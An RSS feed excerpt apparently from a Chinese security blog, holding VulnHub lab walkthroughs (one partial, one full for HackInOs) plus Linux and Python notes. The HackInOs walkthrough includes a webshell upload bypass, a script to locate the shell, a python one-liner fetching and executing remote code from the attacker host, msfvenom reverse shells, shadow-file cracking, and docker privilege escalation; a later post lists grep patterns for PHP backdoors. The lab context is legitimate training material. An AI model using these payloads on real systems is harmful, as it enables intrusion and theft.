&lt;pre&gt;&lt;code&gt;You&apos;re smart enough to understand me. Here&apos;s your secret, TryToGuessThisNorris@2k19
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到了secret，猜测是ssh登陆的口令&lt;/p&gt;
&lt;h2&gt;2049端口&lt;/h2&gt;
&lt;p&gt;开放了NFS服务&lt;/p&gt;
&lt;p&gt;使用nmap或者metasploit探测可以挂载的目录，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf5 auxiliary(scanner/nfs/nfsmount) &amp;gt; exploit 

[+] 192.168.99.104:111    - 192.168.99.104 NFS Export: /home/morris [*]
[*] 192.168.99.104:111    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获得挂载目录 &lt;code&gt;/home/morris&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装nfspysh:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git clone https://github.com/bonsaiviking/NfSpy.git&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;ssh服务&lt;/h2&gt;
&lt;p&gt;nmap没有扫除ssh开放的端口，因为这台靶机的ssh并不是开放在通常的22号端口上&lt;/p&gt;
&lt;p&gt;通过扫描确认：&lt;br /&gt;
&lt;img src=&quot;./attachments/1576476969297.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ssh开放的端口是7822&lt;/p&gt;
&lt;p&gt;尝试用之前得到的口令去登陆，用户名是&lt;code&gt;morris&lt;/code&gt;&lt;br /&gt;
登陆失败&lt;/p&gt;
&lt;p&gt;从80端口的&lt;code&gt;index.html&lt;/code&gt;知道，M和N的命名规则，尝试修改用户名为&lt;code&gt;norris&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;./attachments/1576477106793.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;登陆成功！&lt;br /&gt;
得到&lt;code&gt;user.txt&lt;/code&gt;的内容&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576477362762.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
之后去&lt;code&gt;/var/www/html&lt;/code&gt;目录下查看文件&lt;/p&gt;
&lt;p&gt;发现了&lt;code&gt;.secretfile.swp&lt;/code&gt;文件&lt;br /&gt;
直接查看提示权限不够，于是想到从网页下载&lt;/p&gt;
&lt;p&gt;可以看到&lt;code&gt;.secretfile.swp&lt;/code&gt;文件的权限被设置为只有&lt;code&gt;www-data&lt;/code&gt;用户才能读写&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576479512154.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;vim -r secretfile.swp&lt;/code&gt;得到源文件内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;I see you&apos;re here for the password. Holy Moly! Battery is dying !! Mentioning below for reference..

blehguessme090
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是成功登陆morris用户&lt;br /&gt;
&lt;img src=&quot;./attachments/1576477489908-1581332150635.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;最后的“提权”&lt;/h2&gt;
&lt;p&gt;登陆了morris用户之后，还是无法进入到root的目录下查看文件&lt;/p&gt;
&lt;p&gt;先上一个&lt;code&gt;LinEnum.sh&lt;/code&gt;提权辅助脚本，但是并未发现有意思的东西&lt;/p&gt;
&lt;p&gt;又去找到了另外一个脚本 &lt;a href=&quot;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh&quot;&gt;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;功能比较全面，并且发现了这个：&lt;br /&gt;
&lt;img src=&quot;./attachments/1577460701158.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
查阅文档发现了这个，类似SUID&lt;br /&gt;
&lt;img src=&quot;./attachments/1577460729799.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么尝试用tar去打包root目录下的文件&lt;br /&gt;
&lt;img src=&quot;./attachments/1577460784686.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
打包失败，原来这个命令应该在&lt;code&gt;norris&lt;/code&gt;用户下执行&lt;/p&gt;
&lt;p&gt;于是将root目录下的文件打包&lt;br /&gt;
&lt;img src=&quot;./attachments/1576477730035.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解压之后得到flag&lt;br /&gt;
&lt;img src=&quot;./attachments/1576477748712.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@barrymalone/vulnhub-vulnhub&quot;&gt;https://medium.com/@barrymalone/vulnhub-vulnhub&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://medium.com/@alshawwa/vulnhub&quot;&gt;https://medium.com/@alshawwa/vulnhub&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>vulnhub靶机渗透-HackInOs</title><link>https://rayepeng.net/posts/vulnhub%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F-hackinos/</link><guid isPermaLink="true">https://rayepeng.net/posts/vulnhub%E9%9D%B6%E6%9C%BA%E6%B8%97%E9%80%8F-hackinos/</guid><pubDate>Mon, 10 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;HackInOs(有内网)&lt;/h1&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;靶机IP 192.168.99.100&lt;br /&gt;
kali IP 192.168.99.101&lt;/p&gt;
&lt;p&gt;nmap扫描结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576559471820.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;存在上传点但是无法上传文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576559561592.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Burp抓包发现页面源代码有注释&lt;br /&gt;
&lt;a href=&quot;https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php&quot;&gt;https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看到提示&lt;/p&gt;
&lt;p&gt;看到其只使用了&lt;code&gt;getimagesize&lt;/code&gt;函数进行检验&lt;br /&gt;
通过加添GIF89a可以绕过上传&lt;/p&gt;
&lt;p&gt;而文件的名字是这么产生的&lt;br /&gt;
&lt;img src=&quot;./attachments/1576560249639.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是上传一个一句话木马，然后对目录进行爆破即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# coding:utf-8



base_url = &quot;http://192.168.99.100:8000/uploads/&quot;
target = []
for i in range(101):
    shell = &apos;shell.php&apos; + str(i) 
    shell_md5 = hashlib.md5(shell.encode(&apos;utf-8&apos;)).hexdigest()
    target.append(base_url + shell_md5 + &apos;.php&apos;)

for t in target:
    r = requests.get(t)
    if r.status_code == 200:
        print(&quot;find it!&quot;)
        print(t)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后使用蚁剑成功连接&lt;br /&gt;
&lt;img src=&quot;./attachments/1576560324056.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是发现上传不久之后shell就被删掉了&lt;/p&gt;
&lt;p&gt;所以需要将shell移动到html目录下，(考验手速的时候到了)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576560733771.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
此时成功得到shell，开始提权&lt;/p&gt;
&lt;h2&gt;提权&lt;/h2&gt;
&lt;p&gt;查找SUID的程序&lt;/p&gt;
&lt;p&gt;&lt;code&gt;find / -user root -perm -4000 -print 2&amp;gt;/dev/null&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576561228491.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用tail命令查看&lt;code&gt;/etc/shadow&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将root用户复制过来，使用john进行爆破&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576561315061.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到root账号的密码是john&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576561335215.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后切换到root用户查看flag，但是并没有结束&lt;/p&gt;
&lt;p&gt;运行提权辅助脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576561435933.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意到提权辅助脚本提示有docker&lt;br /&gt;
&lt;img src=&quot;./attachments/1576561476445.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看IP&lt;br /&gt;
&lt;img src=&quot;./attachments/1576561501817.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看这个IP地址很像是docker中的地址&lt;/p&gt;
&lt;p&gt;尝试直接用root账户及其密码john进行连接，失败&lt;/p&gt;
&lt;p&gt;大概猜到了我只是拿到了一台docker容器的权限，并没有进入到主机&lt;/p&gt;
&lt;h2&gt;后渗透&lt;/h2&gt;
&lt;p&gt;反弹的shell功能还是弱了，想办法得到一个&lt;code&gt;meterpreter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里有记录一下通过shell拿到&lt;code&gt;meterpreter&lt;/code&gt;的几种办法&lt;/p&gt;
&lt;h3&gt;web_delivery脚本&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;exploit/multi/script/web_delivery&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;设置好相关参数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576562272920.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在反弹的shell中运行这段payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -c &quot;import sys;u=__import__(&apos;urllib&apos;+{2:&apos;&apos;,3:&apos;.request&apos;}[sys.version_info[0]],fromlist=(&apos;urlopen&apos;,));r=u.urlopen(&apos;http://192.168.99.101:8080/1PrsFQbkzsmuk5&apos;);exec(r.read());&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;code&gt;meterpreter&lt;/code&gt;之后输入&lt;code&gt;background&lt;/code&gt;让其挂起&lt;/p&gt;
&lt;h3&gt;使用msfenvom生成木马&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;exploit/multi/handler&lt;/code&gt; 这个exploit模块&lt;/p&gt;
&lt;p&gt;加载&lt;code&gt;linux/x86/meterpreter_reverse_tcp&lt;/code&gt; 这个payload，同时通过&lt;code&gt;msfvenom&lt;/code&gt; 去生成一个木马&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1577094332538.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
&lt;code&gt;msfvenom&lt;/code&gt;生成木马&lt;/p&gt;
&lt;p&gt;&lt;code&gt;msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.99.102 lport=4444 -f elf -o shell&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1577094345676.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;蚁剑上传&lt;br /&gt;
&lt;img src=&quot;./attachments/1577094459850.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1577094504865.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;反弹得到&lt;code&gt;meterpreter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1577094525517.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到子网信息&lt;br /&gt;
&lt;img src=&quot;./attachments/1577094592386.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后通过metasploit之后添加一条路由&lt;br /&gt;
&lt;img src=&quot;./attachments/1576562463870.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时就可以看到添加的路由信息了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576581218733.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;路由添加也可以通过：&lt;code&gt;rout add 172.18.0.0 255.255.0.0 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;指定了网段和子网掩码，以及对应的session&lt;br /&gt;
&lt;img src=&quot;./attachments/1577094657843.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这之后我们就可以在&lt;code&gt;metasploit&lt;/code&gt;中访问内网的地址了，先进行主机发现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576562503028.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现了四台主机&lt;/p&gt;
&lt;p&gt;进行后续的端口扫描&lt;br /&gt;
&lt;img src=&quot;./attachments/1576562587710.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
(由于扫描速度比较慢，参数调整了一下)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576581339308.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里也尝试通过&lt;code&gt;proxychain&lt;/code&gt;去进行扫描&lt;/p&gt;
&lt;h3&gt;proxychain的配置&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1577095583741.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用socks4a代理，修改&lt;code&gt;/etc/proxychains.conf&lt;/code&gt;文件，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1577095622289.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
取消注释同时在最后一行加上&lt;code&gt;127.0.0.1 1080&lt;/code&gt;&lt;br /&gt;
由于&lt;code&gt;proxyresolv&lt;/code&gt;的位置有点问题，cp过来&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cp /usr/lib/proxychains3/proxyresolv /usr/bin/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后可以通过&lt;code&gt;proxychains nmap -A -T4 172.18.0.2&lt;/code&gt;启动nmap扫描，但是扫描的结果有问题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~# proxyresolv 172.18.0.3
|S-chain|-&amp;lt;&amp;gt;-127.0.0.1:1080-&amp;lt;&amp;gt;&amp;lt;&amp;gt;-4.2.2.2:53-&amp;lt;&amp;gt;&amp;lt;&amp;gt;-OK
172.18.0.3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;能够正常解析但是还是存在问题&lt;/p&gt;
&lt;p&gt;172.18.0.2 开放了3306端口数据库，进行连接&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576563049227.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此处也可以通过&lt;code&gt;portfwd add -l 8123 -r 172.18.0.3 -p 3306&lt;/code&gt;端口转发到本地进行连接&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mysql -h 127.0.0.1 -P 8123 -uwordpress -pwordpress&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;./attachments/1577094918289.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看数据&lt;br /&gt;
&lt;img src=&quot;./attachments/1576563178481.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576563190812.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解密之后得到123456&lt;br /&gt;
&lt;img src=&quot;./attachments/1576563163280.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是尝试直接使用该用户登陆主机&lt;/p&gt;
&lt;p&gt;该用户在docker组中，可以尝试通过docker提权&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576581408046.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;运行的docker镜像&lt;br /&gt;
&lt;img src=&quot;./attachments/1576581491492.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;docker挂载即可&lt;br /&gt;
&lt;img src=&quot;./attachments/1577096085570.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag&lt;br /&gt;
&lt;img src=&quot;./attachments/1576581453268.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;另外一种方式提权&lt;/p&gt;
&lt;p&gt;&lt;code&gt;find / -user root -perm -4000 -print 2&amp;gt;/dev/null&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查找SUID用户运行的程序&lt;br /&gt;
&lt;img src=&quot;./attachments/1576581556847.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现a.out&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1576581569529.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
猜测其运行的是whoami命令&lt;/p&gt;
&lt;p&gt;通过环境变量提权&lt;br /&gt;
&lt;img src=&quot;./attachments/1576581656579.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;同样拿到flag&lt;br /&gt;
&lt;img src=&quot;./attachments/1576581679658.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Linux命令trick</title><link>https://rayepeng.net/posts/linux%E5%91%BD%E4%BB%A4trick/</link><guid isPermaLink="true">https://rayepeng.net/posts/linux%E5%91%BD%E4%BB%A4trick/</guid><pubDate>Fri, 07 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;常用的命令组合&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;统计字符串长度&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ echo -n 12345 | wc -c
5
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;搜索文件后门&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 简单的查找后门
find . -name &apos;*.php&apos; | xargs grep -n &apos;eval(&apos;
find . -name &apos;*.php&apos; | xargs grep -n &apos;assert(&apos;
find . -name &apos;*.php&apos; | xargs grep -n &apos;system(&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据库备份 mysqldump用法&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;mysqldump -u db_user -p db_passwd db_name &amp;gt; bak.sql//备份指定数据库
mysqldump --all-databases &amp;gt; bak.sql //备份所有数据库

mysql -u db_user -p db_passwd db_name &amp;lt; bak.sql //还原指定数据库
//也可以登录到mysql之后再 source xxx.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;mysql 修改密码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; set password for root@localhost = password(&apos;root&apos;);
Query OK, 0 rows affected, 1 warning (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是这条命令似乎不行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;update user set password=PASSWORD(&apos;NEW PASSWORD&apos;) where user=&apos;root&apos;;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>每天一个Linux命令-kill</title><link>https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E4%B8%AAlinux%E5%91%BD%E4%BB%A4-kill/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E4%B8%AAlinux%E5%91%BD%E4%BB%A4-kill/</guid><pubDate>Fri, 07 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;ps命令&lt;/h2&gt;
&lt;p&gt;首先需要熟悉一下 ps 命令&lt;/p&gt;
&lt;p&gt;一般通过 &lt;code&gt;ps aux | more&lt;/code&gt; 查看到所有的进程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps -e&lt;/code&gt; 列出程序时，显示每个程序所使用的环境变量&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps u&lt;/code&gt; 　 以用户为主的格式来显示程序状况。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps -a&lt;/code&gt;显示同一终端下的所有程序&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps a&lt;/code&gt; 显示所有进程&lt;/p&gt;
&lt;h2&gt;kill 命令&lt;/h2&gt;
</content:encoded></item><item><title>python3字符串</title><link>https://rayepeng.net/posts/python3%E5%AD%97%E7%AC%A6%E4%B8%B2/</link><guid isPermaLink="true">https://rayepeng.net/posts/python3%E5%AD%97%E7%AC%A6%E4%B8%B2/</guid><pubDate>Thu, 06 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;相关函数&lt;/h2&gt;
&lt;h3&gt;性质判定&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;isalnum()、isalpha()、isdigit()、islower()、isupper()、isspace()、istitle()、startswith(prefix[,start[, end]])、endswith(suffix[,start[, end]])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查找和替换&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;count( sub[, start[, end]])、find( sub[, start[,end]])、index( sub[, start[, end]])、rfind( sub[, start[,end]])、rindex(sub[, start[, end]])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意find()和index()方法的不同：find()函数族找不到时返回-1，index()函数族则抛出ValueError异常。&lt;/p&gt;
&lt;p&gt;但是对于判定是否包含字串的判定推荐用 &lt;code&gt;in&lt;/code&gt; 和 &lt;code&gt;not in&lt;/code&gt;操作符&lt;/p&gt;
&lt;p&gt;&lt;code&gt;replace(old, new[,count])&lt;/code&gt;用以替换字符串的某些子串，如果指定count参数的话，就最多替换count次，如果不指定，就全部替换&lt;/p&gt;
&lt;h3&gt;分切和连接&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;partition()&lt;/code&gt; 和 &lt;code&gt;split&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;split举例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; &apos; hello     world&apos;.split()
[&apos;hello&apos;, &apos;world&apos;]
&amp;gt;&amp;gt;&amp;gt; &apos; hello     world&apos;.split(&apos; &apos;)  # 要注意第一种方式和第二种方式不一样
[&apos;&apos;, &apos;hello&apos;, &apos;&apos;, &apos;&apos;, &apos;&apos;, &apos;&apos;, &apos;world&apos;]
&amp;gt;&amp;gt;&amp;gt; &apos; hello     world&apos;.split(&apos;&apos;)
Traceback (most recent call last):
  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;
ValueError: empty separator
    

&amp;gt;&amp;gt;&amp;gt; &apos;&apos;.split()
[]
&amp;gt;&amp;gt;&amp;gt; &apos;&apos;.split(&apos; &apos;)
[&apos;&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;变形&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;lower()、upper()、capitalize()、swapcase()、title()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;删减与填充&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;strip([chars])、lstrip([chars])、rstrip([chars])

center(width[, fillchar])、ljust(width[,fillchar])、rjust(width[, fillchar])、zfill(width)、expandtabs([tabsize])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这些方法中的fillchar参数是指用以填充的字符，默认是空格。而zfill()中的z是指zero，所以顾名思义，zfill()即是以字符0进行填充，在输出数值时比较常用。expandtabs()的tabsize参数默认为8，它的功能是把字符串中的制表符（tab）转换为适当数量的空格。&lt;/p&gt;
&lt;h2&gt;f字符串&lt;/h2&gt;
&lt;h3&gt;基本用法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;In [2]: name = &quot;pxy&quot;

In [3]: f&apos;Hello, my name is {name}&apos;
Out[3]: &apos;Hello, my name is pxy&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;求值运算&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In [5]: &amp;gt;&amp;gt;&amp;gt; f&apos;Complex number {(2 + 2j) / (2 - 3j)}&apos;
Out[5]: &apos;Complex number (-0.15384615384615388+0.7692307692307692j)&apos;
    
In [6]: import math

In [7]: f&apos;The answer is {math.log(math.pi)}&apos;
Out[7]: &apos;The answer is 1.1447298858494002
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;f-string大括号内也可填入lambda表达式，但lambda表达式的 &lt;code&gt;:&lt;/code&gt; 会被f-string误认为是表达式与格式描述符之间的分隔符，为避免歧义，需要将lambda表达式置于括号 &lt;code&gt;()&lt;/code&gt; 内：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In [1]: f&apos;result is {(lambda x: x ** 2 + 1) (2)}&apos;
Out[1]: &apos;result is 5&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;bytes&lt;/h2&gt;
&lt;h3&gt;str转bytes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;In [23]: bytes(a, encoding=&quot;gbk&quot;)
Out[23]: b&apos;\xb0\xd9\xb6\xc8&apos;

In [24]: bytes(a, encoding=&quot;utf-8&quot;)
Out[24]: b&apos;\xe7\x99\xbe\xe5\xba\xa6&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;从十六进制转化为bytes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;In [39]: a = &apos;aabbccddeeff&apos;

In [40]: a_bytes = bytes.fromhex(a)

In [41]: a_bytes
Out[41]: b&apos;\xaa\xbb\xcc\xdd\xee\xff&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;从bytes转化为十六进制&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;In [42]: a_bytes
Out[42]: b&apos;\xaa\xbb\xcc\xdd\xee\xff&apos;

In [43]: a_bytes.hex()
Out[43]: &apos;aabbccddeeff&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;base64编码byets&lt;/h3&gt;
&lt;p&gt;python3的base64包的 &lt;code&gt;b64encode&lt;/code&gt; 只能使用 bytes 类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 比如我们要编码 \xac\xed
In [54]: a = &quot;aced&quot;

In [55]: a = bytes.fromhex(a)

In [56]: a
Out[56]: b&apos;\xac\xed&apos;

In [57]: base64.b64encode(a)
Out[57]: b&apos;rO0=&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;md5加密bytes&lt;/h3&gt;
&lt;p&gt;python3 只能用hashlib中的md5函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a = hashlib.md5()
a.update(b&quot;pxy&quot;)
a.hexdigest()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;封装一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 生成MD5
def genearteMD5(str):
    # 创建md5对象
    hl = hashlib.md5()

    # Tips
    # 此处必须声明encode
    # 否则报错为：hl.update(str)    Unicode-objects must be encoded before hashing
    hl.update(str.encode(encoding=&apos;utf-8&apos;))

    print(&apos;MD5加密前为 ：&apos; + str)
    print(&apos;MD5加密后为 ：&apos; + hl.hexdigest())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;一些小技巧&lt;/h2&gt;
&lt;h3&gt;判断字符串是否为空&lt;/h3&gt;
&lt;p&gt;用 &lt;code&gt;a == None&lt;/code&gt; 是不行的&lt;/p&gt;
&lt;p&gt;可以这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a = &quot;&quot;
if a.strip() == &quot;&quot;:
	print(&quot;a is null&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;list和str转换&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;In [17]: a = &quot;aaaafasfasd&quot;

In [18]: list(a)
Out[18]: [&apos;a&apos;, &apos;a&apos;, &apos;a&apos;, &apos;a&apos;, &apos;f&apos;, &apos;a&apos;, &apos;s&apos;, &apos;f&apos;, &apos;a&apos;, &apos;s&apos;, &apos;d&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;固定长度分割字符串&lt;/h3&gt;
&lt;p&gt;传统上一般是遍历&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def fix_width_split(string, width):
    return [string[x : x + width] for x in range(0, len(string), width)]

print fix_width_split(&apos;123456789&apos;, 3)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是如果有了正则，可以这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

string = &apos;123456789&apos;
split = re.findall(r&apos;.{7}&apos;, string)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In [76]: string = &apos;123456789&apos;

In [77]: split = re.findall(&quot;.{3}&quot;, string)

In [78]: split
Out[78]: [&apos;123&apos;, &apos;456&apos;, &apos;789&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;bytes写入文件&lt;/h3&gt;
&lt;p&gt;以二进制方式打开即可&lt;/p&gt;
